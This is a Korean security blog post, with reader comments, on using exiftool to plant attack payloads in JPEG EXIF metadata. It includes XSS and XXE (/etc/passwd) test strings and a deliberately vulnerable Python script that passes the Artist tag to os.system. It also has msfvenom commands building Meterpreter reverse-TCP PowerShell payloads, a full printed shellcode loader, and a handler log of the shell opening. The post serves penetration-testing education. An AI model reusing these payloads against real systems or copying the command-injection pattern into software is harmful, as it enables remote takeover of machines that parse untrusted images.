가장 쉬운 방법으론 윈도우나 리눅스에서 파일 속성을 열고 직접 편집하여 사용할 수 있지만 이는 약간 귀찮은 작업이고 툴이나 자동화 시 굉장히 걸리적거립니다.
리눅스에선 exif라는, 윈도우에서도 exiftool이라는 프로그램으로 터미널을 통해 쉽게 메타데이터에 대한 편집을 진행할 수 있습니다.
debian 시스템의 경우 apt-get 으로 설치해줍니다. (나머진 알아서, yum!)
#> apt-get install exif
#> exiftool
Syntax: exiftool [OPTIONS] FILE
Consult the exiftool documentation for a full list of options.
설치 후 exiftool 명령을 치시면 잘 설치된 걸 확인할 수 있습니다.
Warm up - exiftool 알아가기
exiftool에 이미지 파일의 경로를 인자값으로 넘겨주면 파일에 대한 정보+metadata를 볼 수 있습니다.#> exiftool exif.jpg
ExifTool Version Number : 10.10
File Name : exif.jpg
Directory : .
File Size : 18 kB
File Modification Date/Time : 2017:06:21 13:18:09+09:00
File Access Date/Time : 2017:08:16 11:59:55+09:00
File Inode Change Date/Time : 2017:08:16 11:59:50+09:00
File Permissions : rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Image Width : 400
Image Height : 383
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x383
Megapixels : 0.153
간단하게 사용법을 보면..
이미지에 대한 정보보기
#> exiftool test.jpg
이미지에 metadata 삽입하기
#> exiftool -artist=me test.jpg
여러 이미지에 metadata 삽입하기
#> exiftool -artist=me test.jpg b.jpg c.jpg
이미지에 여러 metadata 삽입하기
#> exiftool -artist="Phil Harvey" -copyright="2011 Phil Harvey" test.jpg
특정 경로에 있는 이미지에게 모두 metadata 삽입하기
#> exiftool -artist=me c:/images
이렇습니다. 우리가 테스트하는데 필요한 정보는 이정도면 충분할 것 같네요.
더 궁금하신게 있으시다면 아래 링크 참고해주세요.
http://owl.phy.queensu.ca/~phil/exiftool/examples.html
exiftool을 이용한 공격코드 삽입
위에서 익힌 방법을 바로 활용해봅시다. 제가 테스트하던 영역은 XML을 파싱하는 부분이고 일부 가능성이 있어보였습니다. 그 중 metadata를 불러서 파싱할 수 있는 부분을 찾게되었지요.테스트를 위해 특수문자에 대해 반복하며 이미지를 생성하고 해당 이미지가 파싱된 결과를 보면서 테스트합니다.
exiftool로 이미지에 테스팅 코드를 넣습니다.
#> exiftool exif.jpg -artist="hah\!wul"
1 image files updated
#> exiftool exif.jpg
ExifTool Version Number : 10.10
File Name : exif.jpg
Directory : .
File Size : 18 kB
File Modification Date/Time : 2017:08:16 12:04:09+09:00
File Access Date/Time : 2017:08:16 12:04:09+09:00
File Inode Change Date/Time : 2017:08:16 12:04:09+09:00
File Permissions : rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : hah\!wul
Y Cb Cr Positioning : Centered
Image Width : 400
Image Height : 383
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x383
Megapixels : 0.153
이제 exif.jpg 이미지의 artist 영역은 제가 입력한 값으로 들어가게 됩니다. 그래서 쭉 진행하다보니..
HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 21:07:20 GMT
Server: Apache
[....]
Content-Type: text/xml;charset=UTF-8
Content-Length: 484
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<item>
[....]
<exif><![CDATA[{"Artist":"hah\\!<>wul"}]]></exif>
</item>
아쉽게도 물론 필터링되버렸네요.. 다만 !가 살아있다는 희망은..테스트때 이 필터링 때문에 이 부분으로 성공하진 못헀습니다. 다만 exif를 이용하면 테스트가 간단해지는건 사실입니다.
웹에서 metadata에 대해 노출되는 부분이 있다면..
#> exiftool exif.jpg -artist="<svg/onload=alert(45)>"
XML을 파싱하고 특수문자에 대한 제한이 없다면 아래와 같이 XXE Payload를 넣어볼 수도 있겠네요.
#> exiftool exif.jpg -artist='<!ENTITY hwul SYSTEM "file:///etc/passwd">'
metadata 파싱 취약점을 이용한 침투 시나리오
위 내용에서 끝내려니 아쉬움이 남았습니다. 별거 아닌데.. 쓰다보니 길어지고, 그냥 아주 단순한 팁정도라 약간 개인적으로 더 해보고싶단 생각이 들었었죠. 그래서 하나의 시나리오를 구성해봤습니다."이미지의 metadata를 파싱하는 시스템에 문제가 있다면 payload, exploit 코드를 exiftool로 넣어 보낼 수 있지 않을까? "
자 간단하게 바로 시작해봅니다.
※ 망한 케이스입니다.
혹시 비슷한 테스트를 해보시고 싶으시다면 부디 아래에 표기한 부분부터 하시길 바랍니다. (망했어요)image의 metadata를 파싱하는 취약한 python 코드를 하나 만들어봤습니다.
Vunerable code(Fail..)
import exifread
f = open('exif.jpg', 'rb')
# Return Exif tags
tags = exifread.process_file(f)
for tag in tags.keys():
if tag not in ('JPEGThumbnail', 'TIFFThumbnail', 'Filename', 'EXIF MakerNote'):
print "Key: %s, value %s" % (tag, tags[tag])
if tag == "Artist":
cmd = tags[tag].__str__()
os.system(cmd)
코드만 봤을땐.. Artist에 들어온 데이터가 os.system으로 넘어가 명령 실행이 될거라 생각했습니다.일단 공격에 사용할 payload를 powershell 코드로 만들어주고..
#> hvenom -p windows/meterpreter/reverse_tcp -f psh LHOST=192.168.0.8 LPORT=4444 > code.ps1
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of psh file: 2361 bytes
이 데이터를 읽어 artist 영역에 exiftool로 저장하였습니다.
#> exiftool -artist="powershell -Command `cat code.ps1`" exif.jpg
1 image files updated
#> exiftool exif.jpg
ExifTool Version Number : 10.10
File Name : exif.jpg
Directory : .
File Size : 20 kB
File Modification Date/Time : 2017:08:16 18:03:19+09:00
File Access Date/Time : 2017:08:16 18:03:19+09:00
File Inode Change Date/Time : 2017:08:16 18:03:19+09:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : powershell -Command $fxhcLZUUZ = @"..[DllImport("kernel32.dll")]..public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);..[DllImport("kernel32.dll")]..public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);.."@....$RKWScSnULxy = Add-Type -memberDefinition $fxhcLZUUZ -Name "Win32" -namespace Win32Functions -passthru....[Byte[]] $RCSWUlBtcdVr = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xa,0x43,0x11,0x89,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5......$IpkAcrvp = $RKWScSnULxy::VirtualAlloc(0,[Math]::Max($RCSWUlBtcdVr.Length,0x1000),0x3000,0x40)....[System.Runtime.InteropServices.Marshal]::Copy($RCSWUlBtcdVr,0,$IpkAcrvp,$RCSWUlBtcdVr.Length)....$RKWScSnULxy::CreateThread(0,0,$IpkAcrvp,0,0,0)
Y Cb Cr Positioning : Centered
Image Width : 400
Image Height : 383
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x383
Megapixels : 0.153
PC내 속성을 통해서 봐도 똑같지요.
데이터가 잘 들어갔습니다. 그럼 쉘이 떨어지는 지 볼까요?
C:\ python 123.py
아쉽지만 에러가 발생합니다. 허허허헣...
이유인즉슨 powershell 코드 내 특수문자(공백,개행문자, 쿼테이션)가 많아 코드 실행에 문제가 되고 결정적으로.. 취약 코드를 잘못 만들었습니다. (그래서 넘어가라고 한거에요)
실패한 이유
python의 exifread 라이브러리는 metadata의 데이터가 커지면 ...으로 요약 표기하는 기능을 내장하고 있습니다. 그래서 공격코드의 크기, 즉 metadata의 내용이 커지자 아래와 같이 요약해서 표기해버리니.. 당연히 공격코드가 정상적으로 실행되지 않았던거죠.
powershell -Command $f[.....]
※ 여기부터!
자 다시 사건을 재 구성해봅니다. 먼저 잘못된 취약 코드부터 다시 작성하겠습니다.Vulnerable code(Real)
import os,sys
from PIL import Image
from PIL.ExifTags import TAGS
if __name__ == '__main__':
for (k,v) in Image.open(sys.argv[1])._getexif().iteritems():
print '%s = %s' % (TAGS.get(k), v)
if TAGS.get(k) == "Artist":
#os.system('pause') #이미지 캡쳐를 위해 잠깐 정지..
os.system(v)
os.system('pause')
Image, TAGS 라이브러리를 이용해 metadata를 파싱하는 코드를 다시 작성했습니다. 위와 유사하게 os.system 으로 데이터를 넘기구요.그리고 테스트하기 쉽게 batch 파일 형태로 변경하고 특수문자가 걸리지 않도록 쉘 데이터를 배치파일로 생성합니다.
#> hvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 -f psh-cmd LHOST=192.168.0.8 LPORT=4444 > code.bat
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 333 (iteration=0)
cmd/powershell_base64 chosen with final size 333
Payload size: 333 bytes
Final size of psh-cmd file: 6183 bytes
아까처럼 exiftool을 이용해서 artist 영역에 넣어줍니다.
#> exiftool -artist="`cat code.bat`" exif.jpg
1 image files updated
Artist 에 깔끔히 잘 들어갔어요. |
공격에 사용될 이미지가 완성됬네요. 알아서들 metasploit에서 exploit handler 돌려주시고
(HAHWUL use exploit/multi/handler > 세팅하시고 > run)
타겟 PC에서 파싱이 시작되면..
C:\ python 133.py
Pause해둔거 때문에 잘 보이네요. Payload가 정상적으로 나타납니다. |
Metasploit에 Meterpreter session 이 정상적으로 연결됩니다.
HAHWUL exploit(handler) > [*] Sending stage (956991 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:50038) at 2017-08-16 18:41:44 +0900
HAHWUL exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
야호 잘된다.
Reference
https://stackoverflow.com/questions/20886987/reading-long-exif-tags-in-pythonhttp://owl.phy.queensu.ca/~phil/exiftool/examples.html
HAHWULSecurity engineer, Gopher and H4cker! |
무슨 이미지 reader의 취약점인가요?
ReplyDelete글 내용에서 보이는건 reader의 취약점이라기 보단 임의로 취약한 코드를 제가 구성해놓은거에요.
Delete실제 프로그램을 대상으로 공격하는 과정을 포스팅으로 직접 서술하기에는 조금 그러다보니, 유사한 형태로 재구성하는 케이스가 많습니다 :)
실제 메터데이터를 파싱해서 처리하는 저 실제코드에서 os.system()이 쓰이는 사례가 있는건가요?
ReplyDelete아님 일반적으로 실제사례에서는 이미지 메타데이터를 가지고 주로 어떠한 기능을 이용하는걸까요? 저는 메타데이터 파싱하여 화면에 뿌려주는 사례만 주로 봐서요.
말씀주신대로 메타데이터를 파싱해서 화면에 뿌려주는게 일반적이긴 합니다(사진 정보 등등). 그래서 메타데이터에 코드 삽입된 케이스는 XSS가 대다수이구요. 다만 이 데이터를 백엔드 단에서 외부 솔루션이나 별도의 Command line 툴로 넘기는 과정에서 사용될 수 있긴합니다(회사마다 다르겠지만 아마 뭐 드물거에요)
Delete공격 시나리오로 작성하다보니 만들었던 케이스이고, 실제로 저렇게 넘기는 경우가 있다해도 외부 공격자 입장에서 인지하기는 쉽진 않습니다. (매번 메타데이터에 포함시켜서 전달해야하니, 그만큼 리소스가 들어가겠지요)
포스트에선 exif로 했지만 Burp suite 확장 기능등으로 쉽게 삽입 가능하기도 해서 테스트 고려해볼 부분이라고 생각합니다 :)
궁금한점이 해결되었을지는 모르겠네요 ㅜㅜ 아무튼 좋은 질문 주셔서 감사합니다.(이런 내용을 글에 더 썼어야 했는데, 이렇게나마 댓글로 추가하네요. 감사합니다)
Delete하하 궁금증이 다 해결됫네요. 이거 댓글달면 알람오는 기능이 따로 있지 않아서 오랜만에 블로그 찾아왔는데 답변이 있었네요!
Delete그냥 웹서핑하다가 찾은 블로그인데 참 블로그 잘되어 있는거 같아요 종종 자주 들릴게요! :)
감사합니다 :)
Delete